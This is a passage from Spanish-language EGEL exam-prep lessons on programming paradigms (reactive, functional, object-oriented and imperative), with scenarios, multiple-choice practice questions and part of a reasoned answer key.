hacia un cliente HTTP. |\n\n---\n\n## 4. Operadores Reactivos Esenciales\n\nLa riqueza de la programación reactiva radica en componer flujos utilizando operadores funcionales:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      OPERADORES REACTIVOS FRECUENTES                   │\n│                                                                        │\n│   • debounceTime(300ms): Espera 300 ms de inactividad antes de emitir. │\n│   • distinctUntilChanged(): Ignora eventos idénticos al anterior.      │\n│   • switchMap(): Cancela la suscripción anterior y conmuta al nuevo    │\n│     stream (ideal para búsquedas autocompletadas: cancela búsquedas    │\n│     anteriores obsoletas en vuelo).                                    │\n│   • mergeMap / flatMap(): Procesa múltiples streams concurrentemente   │\n│     sin orden garantizado.                                             │\n│   • combineLatest(): Emite un valor compuesto cada vez que cualquiera  │\n│     de los streams emite, usando el último valor de los demás.         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Campo de Búsqueda Predictiva de Vuelos en Tiempo Real\n- **Problema:** Un usuario teclea `\"MEXICO\"` en un buscador web. Sin control de eventos, el navegador dispara 6 peticiones HTTP a la API de aerolíneas (una por cada letra tecleada: `M`, `ME`, `MEX`...). La petición de `ME` tarda más en responder por congestión de red que la de `MEXICO`, sobreescribiendo los resultados finales con sugerencias desactualizadas (*Race Condition en UI*).\n- **Solución Reactiva:**\n  ```javascript\n  inputTexto$\n      .pipe(\n          debounceTime(300), // Espera a que el usuario deje de teclear\n          distinctUntilChanged(), // Evita consultas si el texto no cambió\n          switchMap(texto =\u003e apiVuelos.buscar(texto)) // Cancela búsquedas previas obsoletas\n      )\n      .subscribe(resultados =\u003e renderizarUI(resultados));\n  ```\n- **Resultado:** Se reduce el tráfico en el servidor en un 80% y se eliminan las carreras visuales en la interfaz.\n\n### Escenario B: Monitoreo Sísmico y Geológico con 10,000 Acelerómetros\n- **Problema:** Sensores sísmicos transmiten lecturas de oscilación a 200 Hz. La base de datos de telemetría colapsa si se ejecuta un `INSERT` individual por cada lectura.\n- **Solución Reactiva:** Aplicar el operador de agrupamiento por ventana de tiempo (`bufferTime(1000)` o `windowTime`). El stream agrupa los 200 eventos de cada segundo en un único arreglo por lote y realiza un solo `INSERT` masivo (*Bulk Insert*) por sensor cada segundo, reduciendo la sobrecarga de transacciones en un 99.5%.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir un Stream Reactivo con una Promesa / Futuro.**\n\u003e - Una **Promesa (Promise / Future)** representa un único valor asíncrono que se resolverá **una sola vez** en el futuro (éxito o fallo). No es cancelable por estándar y no maneja flujos continuos.\n\u003e - Un **Stream (Observable)** representa una secuencia continua de **cero, uno o múltiples valores a lo largo del tiempo**, y puede ser cancelado en cualquier momento cancelando la suscripción (*unsubscribe*).\n\n\u003e **Trampa 2: Olvidar cancelar suscripciones (*Unsubscribe*) en componentes gráficos.**\n\u003e Si un componente de vista se suscribe a un stream global y es destruido por el usuario sin desuscribirse, el stream mantiene viva la referencia al componente en memoria, generando una **fuga de memoria lógica** y ejecución de código zombie en segundo plano.\n\n\u003e **Trampa 3: Creer que la programación reactiva siempre es multihilo.**\n\u003e Un stream reactivo puede ejecutarse íntegramente en un **único hilo** (como ocurre comúnmente en el Event Loop de JavaScript o en el hilo de UI de Flutter). La naturaleza de la programación reactiva es la asincronía conducida por eventos, no necesariamente el paralelismo físico en múltiples núcleos de CPU.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nEn una aplicación móvil de monitoreo de signos vitales, un sensor biométrico transmite por Bluetooth el pulso cardíaco del paciente a una frecuencia de 50 lecturas por segundo. El módulo de visualización gráfica en pantalla solo puede actualizarse a 5 cuadros por segundo sin sobrecalentar el procesador del teléfono. ¿Qué técnica o estrategia del paradigma reactivo debe implementarse para armonizar la diferencia de ritmo entre el sensor productor y la vista consumidora?\n- A) Desactivar el Bluetooth del teléfono hasta que la pantalla esté libre.\n- B) Implementar contrapresión (*Backpressure*) mediante muestreo (*sampling*) o limitación de tasa (*throttle*), descartando lecturas intermedias para entregar únicamente la lectura más reciente en cada intervalo de actualización gráfica.\n- C) Crear 50 hilos nativos del sistema operativo por cada segundo para almacenar las lecturas en la memoria Stack.\n- D) Convertir el sensor en un objeto singleton y aplicar herencia múltiple sobre la interfaz gráfica.\n\n### Pregunta 2\n¿Cuál es la diferencia operativa esencial entre el modelo de iteración tradicional basado en colecciones (Pull) y el modelo de flujos reactivos basados en Observables (Push)?\n- A) En el modelo Pull el consumidor solicita proactivamente el siguiente elemento cuando está listo, mientras que en el modelo Push el productor emite y empuja los datos al suscriptor conforme los eventos ocurren en el tiempo.\n- B) El modelo Pull se ejecuta exclusivamente en tarjetas gráficas GPU, mientras que el modelo Push requiere lenguajes interpretados sin tipado.\n- C) El modelo Push no permite el tratamiento de errores mediante señales de excepción.\n- D) El modelo Pull es asíncrono y no bloqueante por definición matemática, mientras que Push siempre bloquea el hilo llamador.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.2.7 de esta subárea).*\n","title":"3.2.4 Programación reactiva, flujos asíncronos (Streams) y manejo de eventos"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión y Coexistencia de Paradigmas de Programación\n\nEn la ingeniería de software profesional y en las preguntas integradoras del EGEL de CENEVAL, los paradigmas de programación no se perciben como filosofías dogmáticas mutuamente excluyentes, sino como **herramientas complementarias dentro de lenguajes multiparadigma modernos** (Java, C#, TypeScript, Python, Kotlin, Rust, Dart).\n\nUn arquitecto de software de excelencia sabe exactamente qué paradigma aplicar en cada capa del sistema: modelar el dominio de negocio con POO, procesar colecciones y pipelines analíticos con Programación Funcional, y gestionar eventos asíncronos de UI o telemetría con Programación Reactiva.\n\n---\n\n## 1. Matriz de Correspondencia: Problema de Software vs Paradigma Óptimo\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               ¿QUÉ PARADIGMA DOMINA MEJOR CADA PROBLEMA?               │\n│                                                                        │\n│   DOMINIO CON ESTADO RICO E INVARIANTES ──────▶ POO Avanzada           │\n│   (Entidades de negocio, ciclo de vida,       (Encapsulamiento,        │\n│    reglas contables, servicios transaccionales) Polimorfismo, SOLID)   │\n│                                                                        │\n│   TRANSFORMACIÓN Y PIPELINES DE DATOS ────────▶ Programación Funcional │\n│   (ETL, filtros, agregaciones, cálculo puro,   (Funciones puras,       │\n│    map/filter/reduce, inmutabilidad)            evaluación perezosa)   │\n│                                                                        │\n│   FLUJOS ASÍNCRONOS Y EVENTOS EN EL TIEMPO ───▶ Programación Reactiva  │\n│   (UI interactiva, telemetría IoT, sockets,    (Streams / Observables, │\n│    notificaciones push, colas con backpressure) operadores, debounce)  │\n│                                                                        │\n│   ALGORITMOS CRÍTICOS Y HARDWARE DE BAJO NIVEL▶ Imperativo / Estruct.  │\n│   (Drivers, criptografía binaria, memoria fija)(Arreglos planos,       │\n│    control de registros, sin sobrecarga de VM)  bucles cerrados)       │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Escenario 1: Sistema Core de Gestión de Pólizas de Seguros y Liquidación Masiva\n\n### Contexto y Restricciones\n- **Dominio:** Aseguradora multinacional con 2 millones de pólizas de vida, gastos médicos y automóviles.\n- **Doble desafío técnico:**\n  1. *Desafío de Dominio:* Cada tipo de póliza tiene reglas complejas de deducibles, coaseguros, beneficiarios y estados de vigencia que mutan a lo largo de los años.\n  2. *Desafío de Procesamiento Masivo:* El primer día de cada mes, se deben calcular las primas de renovación de 2 millones de pólizas, aplicando descuentos por siniestralidad, filtrando canceladas y totalizando los montos a debitar en menos de 30 minutos.\n\n### Arquitectura Multiparadigma Integrada\n- **Capa de Dominio (Modelado con POO):**\n  - Se utilizan clases ricas de dominio (`PolizaAuto`, `PolizaGastosMedicos`) que heredan de una abstracción base `Poliza` e implementan interfaces como `ILiquidable`.\n  - El encapsulamiento protege las invariantes: los beneficiarios no pueden modificarse si la póliza está en estado `Cancelada` o `Reclamada`.\n- **Capa de Procesamiento Masivo (Cálculo con Programación Funcional):**\n  - La liquidación mensual no se implementa con bucles imperativos que muten objetos en la base de datos uno a uno.\n  - Se utiliza un **pipeline funcional inmutable**:\n    ```java\n    List\u003cDebitoBancario\u003e debitos = polizasActivas.parallelStream()\n        .filter(Poliza::estaVigenteParaRenovacion)\n        .map(poliza -\u003e CalculadorPrimas.calcular(poliza, tablaInflacion))\n        .filter(prima -\u003e prima.getMonto() \u003e 0)\n        .map(DebitoBancario::desdePrima)\n        .toList();\n    ```\n  - *Ventaja técnica:* Al ser funciones puras sin efectos secundarios sobre objetos mutables compartidos, `parallelStream()` distribuye automáticamente el cálculo entre los 32 núcleos de CPU del servidor sin riesgo de condiciones de carrera, completando los 2 millones de pólizas en 8 minutos.\n\n---\n\n## 3. Escenario 2: Aplicación Móvil de Monitoreo de Transporte Público en Vivo\n\n### Contexto y Restricciones\n- **Dominio:** Aplicación móvil ciudadana para consultar la ubicación en tiempo real de 3,000 autobuses urbanos en un mapa interactivo.\n- **Desafío de Interacción:**\n  - Los autobuses transmiten coordenadas GPS cada 2 segundos vía WebSockets.\n  - El usuario puede aplicar filtros en la pantalla (ver solo ruta 10, autobuses con aire acondicionado, o paradas accesibles para sillas de ruedas) mientras hace zoom y paneo en el mapa.\n  - La interfaz gráfica no debe congelarse bajo ninguna circunstancia (mantener 60 FPS estables).\n\n### Arquitectura Multiparadigma Integrada\n- **Ingesta de Datos y UI (Programación Reactiva):**\n  - Las coordenadas entrantes se tratan como un **Stream reactivo** continuo (`Stream\u003cUbicacionGPS\u003e`).\n  - Se aplica el operador `throttleTime(500)` para no sobrecargar el renderizador del mapa con micro-actualizaciones imperceptibles para el ojo humano.\n  - Los eventos de entrada del usuario (cambio de filtros de ruta o texto en la barra de búsqueda) son otro Stream (`Stream\u003cFiltro\u003e`).\n  - Se utiliza el operador reactivo `combineLatest(streamGPS$, streamFiltros$)` para proyectar únicamente las ubicaciones relevantes que cumplen el filtro activo en cada instante.\n- **Componentes de la Interfaz (POO Reactiva):**\n  - Cada marcador en el mapa se modela como un objeto encapsulado que reacciona a cambios de posición mediante interpolación de animación suave.\n\n---\n\n## 4. Escenario 3: Motor de Reglas Fiscales y Compilador de Expresiones Aritméticas\n\n### Contexto y Restricciones\n- **Dominio:** Motor que interpreta fórmulas de impuestos configuradas dinámicamente por contadores en texto libre (ej. `IF (ingreso \u003e 50000) THEN (ingreso - 50000) * 0.30 + 5000 ELSE ingreso * 0.10`).\n- **Desafío:** Construir el Árbol de Sintaxis Abstracta (AST) de la fórmula, validar tipos y evaluar el resultado numérico sobre cientos de miles de empleados.\n\n### Análisis de Paradigmas\n1. *Enfoque POO Tradicional (Patrón Interpreter + Visitor):*\n   - Crear una clase para cada nodo del árbol (`NodoSuma`, `NodoCondicional`, `NodoLiteral`) y una jerarquía de visitantes (`EvaluadorVisitor`, `ValidadorTiposVisitor`).\n   - *Problema:* Muy verboso (docenas de clases para operaciones matemáticas simples) y difícil de extender si se agregan nuevos tipos de nodos.\n2. *Enfoque Funcional Puro (Tipos Algebraicos de Datos + Pattern Matching):*\n   - Modelar las expresiones como un tipo suma algebraico (enum estructurado o clases selladas) y evaluarlas mediante funciones puras recursivas con coincidencia de patrones (*Pattern Matching*):\n     ```kotlin\n     sealed class Expresion {\n         data class Constante(val valor: Double) : Expresion()\n         data class Suma(val izq: Expresion, val der: Expresion) : Expresion()\n         data class SiCondicional(val cond: Expresion, val ramaSi: Expresion, val ramaNo: Expresion) : Expresion()\n     }\n\n     fun evaluar(expr: Expresion, contexto: Map\u003cString, Double\u003e): Double = when (expr) {\n         is Expresion.Constante -\u003e expr.valor\n         is Expresion.Suma -\u003e evaluar(expr.izq, contexto) + evaluar(expr.der, contexto)\n         is Expresion.SiCondicional -\u003e if (evaluar(expr.cond, contexto) \u003e 0) \n                                           evaluar(expr.ramaSi, contexto) \n                                       else evaluar(expr.ramaNo, contexto)\n     }\n     ```\n- **Decisión:** **Paradigma Funcional**. La estructura inmutable del AST y la evaluación recursiva de árbol es el dominio natural del cálculo lambda y el pattern matching, reduciendo el código en un 70% comparado con el patrón Visitor en POO pura.\n\n---\n\n## 5. Cuadro Comparativo de Decisión por Atributo de Calidad\n\n| Atributo de Calidad Prioritario | Paradigma de Elección Primaria | Razón Técnica Fundamental |\n| :--- | :--- | :--- |\n| **Seguridad Concurrente sin Bloqueos** | **Funcional (Inmutabilidad)** | Al no existir estado mutable compartido, no pueden ocurrir condiciones de carrera ni interbloqueos (*Thread-safety* inherente). |\n| **Mantenibilidad de Lógica Empresarial Compleja** | **POO Avanzada (DDD / SOLID)** | El encapsulamiento protege las invariantes de negocio y el polimorfismo aísla los cambios normativos en clases cohesivas. |\n| **Capacidad de Respuesta ante Eventos Asíncronos** | **Reactivo (Streams / Push)** | Permite desacoplar productores veloces de consumidores lentos mediante contrapresión (*Backpressure*) y composición declarativa de eventos. |\n| **Optimización Extrema de Latencia y Memoria** | **Estructurado / Imperativo** | Asignación contigua en Stack/registros sin sobrecarga de punteros de vtable, closures ni recolección de basura. |\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que los paradigmas son mutuamente excluyentes dentro de un mismo proyecto.**\n\u003e En reactivos de arquitectura de software, una solución madura moderna rara vez es \"100% POO pura\" o \"100% Funcional pura\". La mejor respuesta de diseño suele articular ambos: objetos para modelar entidades persistentes de negocio, y funciones puras inmutables (`map`/`filter`/`reduce`) para las operaciones matemáticas y algoritmos de consulta.\n\n\u003e **Trampa 2: Usar programación reactiva para procesamiento batch puramente estático.**\n\u003e Si tienes un archivo CSV de 100 MB ya almacenado en disco y necesitas calcular la suma de una columna, usar Observables y streams reactivos con backpressure es una sobreingeniería innecesaria. Un flujo funcional o un simple bucle estructurado resuelve el problema con menor complejidad y menor sobrecarga de memoria.\n\n\u003e **Trampa 3: Forzar herencia profunda en POO cuando el dominio requiere composición funcional.**\n\u003e Intentar resolver variantes algorítmicas creando docenas de subclases especializadas viola el Principio Abierto/Cerrado y genera rigidez. La buena práctica es inyectar una función pura (estrategia funcional o lambda) dentro del objeto.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna empresa de analítica financiera requiere construir un módulo de auditoría fiscal que procesa diariamente un lote estático de 3 millones de transacciones bancarias históricas. El requerimiento exige aplicar sucesivamente 12 reglas matemáticas de validación, filtrar transacciones sospechosas y calcular los saldos consolidados por contribuyente, aprovechando al máximo los 64 núcleos de procesamiento del servidor sin riesgo de condiciones de carrera ni bloqueos de cerrojos (*locks*). ¿Qué combinación de paradigma y construcciones de programación es la óptima para este módulo?\n- A) Paradigma Imperativo con variables globales mutables protegidas por un único cerrojo Mutex global.\n- B) Paradigma Funcional basado en datos inmutables y un pipeline de funciones puras de orden superior (`filter`, `map`, `reduce`), paralelizado mediante particionamiento de datos sin estado compartido.\n- C) Paradigma Reactivo continuo configurando una conexión WebSocket por cada transacción histórica con operadores `debounceTime`.\n- D) Programación procedural basada en sentencias `goto` para saltar directamente a los registros con error.\n\n### Pregunta 2\nEn el desarrollo de una aplicación web de telemedicina, el diseñador frontend debe capturar los datos de un paciente que se escribe en un formulario, validar que el correo no esté duplicado mediante una consulta asíncrona a la API externa conforme el usuario teclea (evitando saturar el servidor con cada pulsación) y actualizar la lista de médicos disponibles en tiempo real conforme se liberan citas en el servidor. ¿Qué paradigma de programación resuelve de manera natural y ergonómica estos requerimientos asíncronos en el cliente?\n- A) Programación Estructurada basada en bucles `while(true)` que interrogan a la base de datos cada 10 milisegundos.\n- B) Programación Reactiva basada en flujos observables (*Streams*), aplicando operadores como `debounceTime` para el campo de texto y suscripciones asíncronas conducidas por eventos (Push) para la disponibilidad de citas.\n- C) Herencia múltiple en clases abstractas con métodos virtuales puros.\n- D) Programación lógica mediante deducción de hechos y reglas en Prolog.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.2.7 de esta subárea).*\n","title":"3.2.5 Escenarios profesionales de decisión y coexistencia de paradigmas de programación"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 3.2: Paradigmas de Programación\n\nLa Subárea 3.2 aporta **20 reactivos** al examen EGEL de Ingeniería de Software. Estos reactivos evalúan el rigor conceptual para distinguir y aplicar los diferentes estilos de diseño computacional: la mecánica imperativa estructurada, el modelado y encapsulamiento orientado a objetos, la pureza e inmutabilidad funcional, y la reactividad asíncrona de eventos.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n                    PARADIGMAS DE PROGRAMACIÓN (20 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nImperativo / Estruct. POO Avanzada                Funcional Puro        Reactivo (Event-Driven)\n• Böhm-Jacopini       • 4 Pilares (Encaps/Polim)  • Funciones Puras     • Push vs Pull\n• Secuencia/Sel/Iter. • Herencia vs Diamante      • Inmutabilidad       • Streams (Observables)\n• Paso valor/referenc.• Despacho vtable           • map / filter / reduce• Backpressure\n• Scopes y Shadowing  • Composición \u003e Herencia    • Closures y TCO      • Operadores (debounce)\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Mecánica Imperativa y Control de Flujo\n\n| Concepto | Regla Fundamental para el Examen | Error / Antipatrón Común |\n| :--- | :--- | :--- |\n| **Teorema de Böhm-Jacopini** | Todo algoritmo computable solo requiere: **Secuencia**, **Selección** (`if`) e **Iteración** (`while`/`for`). | Creer que el salto incondicional `goto` o la recursión son matemáticamente obligatorios. |\n| **Paso de Parámetros** | En Java/C#/Python **todo se pasa por valor**. En objetos se copia el valor de la referencia; mutar campos afecta al objeto, pero reasignar la variable local no altera al llamador. | Asumir que asignar `p = new Persona()` dentro de un método en Java cambia la variable del llamador. |\n| **Sombreado (Shadowing)** | Una variable de ámbito interno con el mismo nombre que una externa oculta temporalmente a la externa. | Confundir el valor de la variable interna con el de la variable global o de función. |\n\n### B. Pilares Avanzados de POO\n\n- **Encapsulamiento:** Ocultar el estado interno (`private`) para proteger invariantes de negocio a través de métodos controlados.\n- **Problema del Diamante:** Ambigüedad en herencia múltiple de clases cuando dos ramas heredan del mismo ancestro. Java y C# lo resuelven con **herencia simple de clase + implementación múltiple de interfaces**.\n- **Polimorfismo Estático (Overloading):** Mismo nombre, distinta firma de parámetros; resuelto en **compilación**.\n- **Polimorfismo Dinámico (Overriding):** Misma firma en subclase (`@Override`); resuelto en **tiempo de ejecución** mediante una tabla virtual de métodos (**vtable**).\n- **Composición sobre Herencia:** \"Tiene-un\" (*Has-a*) desacoplado en tiempo de ejecución frente a \"Es-un\" (*Is-a*) rígido y frágil en tiempo de compilación.\n\n### C. Programación Funcional e Inmutabilidad\n\n| Concepto Funcional | Definición Matemática / Operativa | Ventaja en Ingeniería de Software |\n| :--- | :--- | :--- |\n| **Función Pura** | Determinista (mismo input = mismo output) + Cero efectos secundarios (sin E/S, sin mutación de estado externo). | Facilidad absoluta de pruebas unitarias y paralelización masiva sin bloqueos. |\n| **Transparencia Referencial** | La invocación de una función puede sustituirse por su valor de retorno sin alterar el programa. | Permite optimizaciones de compilador y memoización (caché automática de resultados). |\n| **`filter`** | Selecciona elementos que cumplen un predicado booleano ($0 \\le k \\le n$). | Extraer subconjuntos sin alterar el arreglo original. |\n| **`map`** | Proyecta y transforma cada elemento uno a uno conservando la longitud exacta ($n \\to n$). | Modificar formatos o extraer campos de una colección. |\n| **`reduce`** | Combina todos los elementos aplicando un operador binario acumulativo. | Obtener un único total, suma, promedio o estructura consolidada. |\n| **Closure (Clausura)** | Función que retiene acceso a variables de su ámbito léxico circundante tras el retorno de su creador. | Encapsulamiento funcional y fábricas de comportamiento. |\n| **TCO (Tail-Call Opt.)** | La llamada recursiva es la última acción; el compilador reutiliza el marco de pila consumiendo $O(1)$ stack. | Evita el `StackOverflowError` en algoritmos recursivos profundos. |\n\n### D. Programación Reactiva y Eventos\n\n- **Modelo Pull vs Push:** Pull (el consumidor pide sincrónicamente); Push (el productor empuja asíncronamente en el tiempo).\n- **Stream / Observable:** Flujo temporal que emite `onNext()` (datos), `onError()` (falla terminal) y `onComplete()` (cierre exitoso).\n- **Contrapresión (Backpressure):** Mecanismo para evitar que un productor veloz sature a un consumidor lento:\n  - *Buffering:* Encolar temporalmente (riesgo de `OutOfMemoryError` si es infinito).\n  - *Dropping / Sampling:* Descartar lecturas intermedias de alta frecuencia.\n  - *Debounce:* Esperar una ventana de inactividad temporal (ideal para inputs de búsqueda).\n  - *Request(N):* El consumidor solicita explícitamente cuántos ítems puede procesar.\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 3.2\n\nAntes de continuar a la Subárea 3.3, valida que dominas con fluidez:\n- [ ] Predecir con exactitud el resultado de código con paso de objetos y reasignaciones en Java/C#.\n- [ ] Identificar cómo funciona la **vtable** y el **vptr** en el despacho dinámico de métodos polimórficos.\n- [ ] Saber cómo justificar técnicamente el uso de **Composición sobre Herencia** ante problemas de rigidez o cambio en runtime.\n- [ ] Distinguir el rol de `map`, `filter` y `reduce` en un pipeline funcional.\n- [ ] Explicar la mecánica interna de un **Closure** (promoción de variables del Stack al Heap).\n- [ ] Seleccionar la estrategia de **Backpressure** adecuada (Drop vs Buffer vs Debounce) según el tipo de tráfico de eventos.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nConsidere la siguiente estructura de clases en Java:\n```java\nclass Vehiculo {\n    public void acelerar() { System.out.print(\"Vehiculo \"); }\n}\nclass AutoElectrico extends Vehiculo {\n    @Override\n    public void acelerar() { System.out.print(\"Silencioso \"); }\n}\npublic class Test {\n    public static void main(String[] args) {\n        Vehiculo v = new AutoElectrico();\n        v.acelerar();\n    }\n}\n```\n¿Qué imprime el programa en pantalla y qué mecanismo interno de la máquina virtual garantiza este comportamiento?\n- A) Imprime `Vehiculo `; se resuelve en tiempo de compilación según el tipo estático de la referencia `Vehiculo`.\n- B) Imprime `Silencioso `; se resuelve en tiempo de ejecución mediante enlace dinámico (*Dynamic Dispatch*) consultando la tabla de métodos virtuales (vtable) del objeto real instanciado en el Heap.\n- C) Ocurre un error de compilación por inconsistencia entre el tipo de la variable y el objeto asignado.\n- D) Imprime ambos textos concurrentemente debido a la ejecución asíncrona de los constructores.\n\n### Reactivo Muestra 2\nEn una plataforma de subastas en línea, miles de usuarios emiten ofertas económicas en tiempo real sobre diferentes lotes de artículos. El servidor web recibe ráfagas repentinas de hasta 8,000 ofertas por segundo durante los últimos 10 segundos de cada subasta, mientras que el motor de base de datos relacional solo es capaz de escribir 1,200 ofertas por segundo de forma transaccional. Si el sistema intenta guardar cada oferta inmediatamente en la base de datos conforme llega, el servidor colapsa por agotamiento de conexiones y memoria. ¿Qué concepto de la programación reactiva describe este problema y cuál es la solución técnica para contener la ráfaga sin perder las pujas ganadoras?\n- A) Problema del Diamante; se soluciona eliminando la herencia entre las clases de subasta.\n- B) Problema de Contrapresión (*Backpressure*); se soluciona implementando una cola de amortiguamiento persistente acotada (*Bounded Buffer / Message Broker*) combinada con agregación o descarte de ofertas inferiores no competitivas antes de persistir en el motor relacional.\n- C) Condición de Sombreado de Variables; se resuelve declarando las ofertas como variables globales estáticas.\n- D) Incompatibilidad de Semántica Estática; se resuelve migrando el código a un lenguaje interpretado con tipado débil.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 3.2.7).*\n","title":"3.2.6 Repaso integral y síntesis: Subárea 3.2"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 3.2\n\nEsta lección contiene la resolución exhaustiva, los fundamentos teóricos y el desglose de opciones incorrectas para cada uno de los reactivos de evaluación de la **Subárea 3.2: Paradigmas de programación**. Estudia con rigor estos análisis para afianzar tu razonamiento frente a preguntas de código y de diseño en el examen EGEL.\n\n---\n\n## 1. Soluciones: Programación Estructurada e Imperativa (Lección 3.2.1)\n\n### Pregunta 1\n- **Enunciado:** Método `procesar()` con variable primitiva `int numero = 10` y objeto `StringBuilder texto = new StringBuilder(\"Hola\")`. El método `modificar(n, s)` ejecuta `n = n + 50; s.append(\" Mundo\"); s = new StringBuilder(\"Reiniciado\");`.\n- **Respuesta Correcta:** **A) `10 Hola Mundo`**\n- **Justificación Técnica:**\n  1. *Variable primitiva `numero`:* En Java, los primitivos se pasan estrictamente por valor (se copia el número 10 en la pila de `modificar`). La operación `n = n + 50` solo altera la copia local `n` (que pasa a 60), dejando a `numero` intacto en 10.\n  2. *Objeto `StringBuilder texto`:* Se pasa por valor **la referencia** (puntero al objeto en el Heap). `s.append(\" Mundo\")` navega a través de esa referencia y muta el objeto real en el Heap, por lo que el texto ahora contiene `\"Hola Mundo\"`.\n  3. *Reasignación `s = new StringBuilder(\"Reiniciado\")`:* Crea un *nuevo* objeto en el Heap y hace que la variable local `s` apunte a él. Esto **no altera** la referencia original `texto` en `procesar()`, la cual sigue apuntando al primer objeto `\"Hola Mundo\"`.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* Asume erróneamente que el primitivo se pasó por referencia modificando `numero` a 60.\n  - *C es incorrecta:* Asume erróneamente que la reasignación de una referencia local sustituye la variable del llamador.\n  - *D es incorrecta:* Acumula los dos errores conceptuales anteriores simultáneamente.\n\n### Pregunta 2\n- **Enunciado:** Teorema formal que refuta la necesidad de utilizar saltos incondicionales `goto` demostrando que cualquier algoritmo estructurado se resuelve con secuencia, selección e iteración.\n- **Respuesta Correcta:** **B) Teorema de Böhm-Jacopini.**\n- **Justificación Técnica:** Publicado en 1966 por Corrado Böhm y Giuseppe Jacopini, demostró matemáticamente que tres estructuras lógicas básicas (secuencia, selección `if/else` e iteración `while`) bastan para expresar cualquier función computable, sentando las bases formales para erradicar el salto incondicional `goto`.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El Teorema CAP es un principio de sistemas distribuidos sobre Consistencia, Disponibilidad y Tolerancia a Particiones.\n  - *C es incorrecta:* La Tesis de Church-Turing formaliza el concepto de computabilidad y máquinas de Turing, no el control de flujo estructurado en código.\n  - *D es incorrecta:* La inversión de dependencias es el principio 'D' de SOLID para desacoplar clases orientadas a objetos.\n\n---\n\n## 2. Soluciones: Pilares Avanzados de POO (Lección 3.2.2)\n\n### Pregunta 1\n- **Enunciado:** Relación entre los métodos `imprimir(int)` e `imprimir(String)` en la clase `Impresora`, y el método `imprimir(String)` en `ImpresoraColor`.\n- **Respuesta Correcta:** **B) Polimorfismo estático por sobrecarga (*Overloading*) en `Impresora`, y polimorfismo dinámico por sobrescritura (*Overriding*) en `ImpresoraColor`.**\n- **Justificación Técnica:**\n  - En `Impresora`, coexisten dos métodos con el **mismo nombre pero diferente lista de parámetros** (`int` vs `String`). Esto es **Sobrecarga (Overloading)** y el compilador resuelve qué método invocar en tiempo de compilación según el tipo del argumento (polimorfismo estático).\n  - En `ImpresoraColor`, la subclase redefine el método con la **misma firma exacta** que heredó del padre (`@Override void imprimir(String)`). Esto es **Sobrescritura (Overriding)** y se resuelve en tiempo de ejecución mediante enlace dinámico con la tabla virtual (polimorfismo dinámico).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Invierte los conceptos: la sobrecarga es estática y la sobrescritura es dinámica.\n  - *C es incorrecta:* No hay interfaces ni herencia múltiple en el fragmento.\n  - *D es incorrecta:* El polimorfismo paramétrico se refiere a clases y métodos con tipos genéricos (`\u003cT\u003e`), no presentes aquí.\n\n### Pregunta 2\n- **Enunciado:** Modelado de habilidades de personajes de videojuegos que mutan y se combinan dinámicamente evitando explosión combinatoria de clases y rigidez.\n- **Respuesta Correcta:** **A) Favorecer la composición sobre la herencia (*Favor composition over inheritance*), agregando una colección de componentes de habilidad intercambiables al personaje.**\n- **Justificación Técnica:** La herencia modela relaciones ontológicas estáticas fijadas en tiempo de compilación. Cuando un comportamiento requiere evolucionar, combinarse o descartarse en tiempo de ejecución, la **composición de objetos** desacopla las partes: el personaje *tiene una lista de habilidades* (`List\u003cIHabilidad\u003e`), permitiendo añadir \"Volar\" o retirar \"Nadar\" dinámicamente sin crear subclases para cada permutación posible.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* La herencia múltiple de clases empeoraría la rigidez, causaría ambigüedad del diamante y no permitiría mutar las habilidades en tiempo de ejecución.\n  - *C es incorrecta:* Atributos públicos destruyen el encapsulamiento y violan los principios elementales de diseño de software.\n  - *D es incorrecta:* El paradigma procedural con `goto` generaría código espagueti inmanejable e inestable.\n\n---\n\n## 3. Soluciones: Programación Funcional e Inmutabilidad (Lección 3.2.3)\n\n### Pregunta 1\n- **Enunciado:** Rol de los métodos encadenados `.filter()`, `.map()` y `.reduce()` sobre una lista de órdenes de compra.\n- **Respuesta Correcta:** **B) `filter` selecciona únicamente las órdenes que cumplen el predicado booleano; `map` transforma cada orden calculando su importe con IVA; `reduce` consolida todos los montos calculados en un único valor numérico total acumulado.**\n- **Justificación Técnica:** Constituye la definición axiomática de la tríada funcional: `filter` evalúa un predicado booleano y preserva solo los elementos verdaderos; `map` proyecta y transforma cada elemento preservando la cardinalidad; y `reduce` (o fold) pliega la colección mediante un acumulador binario entregando un único resultado consolidado.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las operaciones funcionales de colecciones operan sobre estructuras de datos en memoria, no modifican tablas de bases de datos relacionales directamente.\n  - *C es incorrecta:* Ninguna de estas tres funciones es destructiva ni muta la colección original; operan sobre flujos inmutables produciendo nuevos resultados.\n  - *D es incorrecta:* `filter` no calcula promedios y `reduce` aplica acumulación iterativa o monádica, no una llamada recursiva descontrolada.\n\n### Pregunta 2\n- **Enunciado:** Propiedad de las funciones puras que garantiza ausencia de condiciones de carrera y prescindencia de cerrojos 